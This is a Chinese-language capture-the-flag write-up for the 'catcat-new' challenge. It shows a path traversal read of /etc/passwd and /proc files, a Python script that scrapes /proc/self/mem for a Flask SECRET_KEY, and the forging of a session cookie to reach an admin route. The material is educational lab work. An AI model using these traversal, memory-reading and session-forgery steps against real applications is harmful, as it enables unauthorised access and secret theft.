【攻防世界】catcat-new

Mr_Soap發表於2024-06-03

catcat-new

題目來源

攻防世界  NO.GFSJ1168

題解

dirsearch爆破目錄,得到http://61.147.171.105:55027/admin,沒有有用資訊

img

點開主頁的圖片,觀察URL,嘗試讀取/etc/passwd,成功,可以讀取檔案

img

讀取/proc/self/cmdline檔案,發現有app.py

img

/proc/self/cmdline 是一個特殊的檔案,它提供了當前程序的命令列引數。例如在kali的shell中讀取該檔案,則會返回 “zsh"

在上一級路徑中讀取到app.py

img

將bytes轉換為字串以便於閱讀,得到以下程式碼

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))



@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"



if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

透過原始碼可以看到,我們需要偽造session,讓session裡admin的值為1,即可訪問/admin,拿到flag。要偽造session,我們需要拿到SECRET_KEY,而SECRET_KEY可以從記憶體資料中獲取。
/proc/self/mem中儲存著當前程序在記憶體中的資料,但是該檔案無法直接讀取,我們需要先透過/proc/self/maps檔案得到記憶體對映地址,然後讀取記憶體資料檔案/proc/self/mem

img

將讀到的maps中的資料儲存到test.txt檔案中,接下來使用指令碼進行mem資料的讀取。
以下指令碼是網上找到的,我只是新增了一些註釋

import re
import requests

maps=open('test.txt')       #test.txt儲存/proc/self/maps的內容
b = maps.read()             
list = b.split('\\n')       #以換行符分行
for line in list:
    if 'rw' in line:            #尋找可讀寫的記憶體區域
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正則匹配地址,地址格式為十六進位制數[0-9a-f],reserch會返回一個re.Match物件,用括號括起來是為了使用group()處理返回結果。
        #由於每一行會有兩個地址,表示一個記憶體區域,因此addr會有group(1)和group(2)
        start = int(addr.group(1),16)  #將十六進位制字元轉化為十進位制數,為了符合start引數格式參考連結
        end = int(addr.group(2),16)    #將十六進位制字元轉化為十進位制數,為了符合end引數格式
        #這裡start和end引數是python讀取/proc/self/mem需要用到的引數
        print(start,end)
        url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end引數讀取mem
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字串除去-符號後為固定的32位元組(128bit),*abcdefgh為題目原始碼生成uuid後新增的字串
        if secret_key:
            print(secret_key)
            break

app.py中可以看到info路由中除了file引數,還有startend引數,這兩個引數就是用來傳遞讀取mem資料時記憶體區域對應的地址。
執行指令碼得到secret_key:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh

img

使用工具flask_session_cookie_manager偽造session。專案地址:https://github.com/noraj/flask-session-cookie-manager
偽造ssesion需要一個正確的session,將其解密,更改資料後再進行加密

解密

python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”

加密

python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”

獲取session值:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0

img

偽造session,根據app.py將資料中admin的值改為1

img

接下來使用偽造的session代替原來的session,訪問路由admin,得到flag

img

相關文章